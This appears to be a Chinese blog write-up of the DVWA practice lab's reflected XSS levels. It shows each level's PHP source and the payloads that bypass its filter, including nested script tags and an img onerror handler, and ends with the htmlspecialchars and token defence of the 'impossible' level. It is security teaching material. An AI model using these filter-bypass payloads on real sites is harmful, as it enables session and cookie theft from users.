zoukankan      html  css  js  c++  java
  • DVWA--XSS(反射型)

    0X01爱之初介绍

    虽然XSS已经做了两节了 但是还是还是简单解释一下

    前言:跨站脚本(Cross-Site Scripting,XSS)是一种经常出现在Web应用程序中的计算机安全漏洞,是由于Web应用程序对用户的输入过滤不足而产生的。攻击者通常利用网站漏洞把而已的脚本代码(通常包括HTML代码和客户端jjavascript脚本)注入到网页之中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采取Cookie资料窃取,会话劫持,钓鱼欺骗等各种攻击。

    0X02爱之初体验  low

    我们来看一下源码

    <?php
    
    header ("X-XSS-Protection: 0");
    
    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
        // Feedback for end user
        echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
    }
    
    ?> 

    检查是否输入数据  然后输出你输入的数据

    没有过滤 兄弟

    那我们 直接 就 不多bb

    <script>alert('ss')</script>

    0X03爱之深入了解 Medium

    老规矩 查看源码

    <?php
    
    header ("X-XSS-Protection: 0");
    
    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
        // Get input
        $name = str_replace( '<script>', '', $_GET[ 'name' ] );
    
        // Feedback for end user
        echo "<pre>Hello ${name}</pre>";
    }
    
    ?> 

    噢 这里过滤 <script>

    exploit

    <scrip<script>t>alert('xss')</script>

    0X04爱之深化 high

    so 我们来看一下源代码

    <?php
    
    header ("X-XSS-Protection: 0");
    
    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
        // Get input
        $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
    
        // Feedback for end user
        echo "<pre>Hello ${name}</pre>";
    }
    
    ?> 

    这里通过正则表达式过滤了<script>

    我们可以考虑通过imgbody等标签的事件或者iframe等标签的src注入恶意的js代码。

    兄弟你过滤<script>我们还有img标签呀

    exploit

    <img src=1 onerror=alert('xss')>

     0X05今天来感受一下 impossible

    源码

    <?php
    
    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // Get input
        $name = htmlspecialchars( $_GET[ 'name' ] );
    
        // Feedback for end user
        echo "<pre>Hello ${name}</pre>";
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    
    ?> 

    不仅仅将我们输入的含有html的标签都是作为普通参数 而且还防止了CRSF 加入了 user_token 和session机制

    so 我们又了解了一种 XSS的防护方法

    总结

    基础先搞懂 在深入 我们要根基稳

    少就是多

  • 相关阅读:
    mac 10.15.7 修改PATH
    oc 属性类型一般用法
    ubuntu解压zip文件名乱码
    telnet 退出
    docker 根据容器创建镜像
    mac android adb device 没有显示设备
    Yii2 查看所有的别名 alias
    Yii2 App Advanced 添加 .gitignore
    ubuntu 18.04 搜狗突然就提示乱码
    An error occured while deploying the file. This probably means that the app contains ARM native code and your Genymotion device cannot run ARM instructions. You should either build your native code to
  • 原文地址:https://www.cnblogs.com/-zhong/p/10927905.html
Copyright © 2011-2022 走看看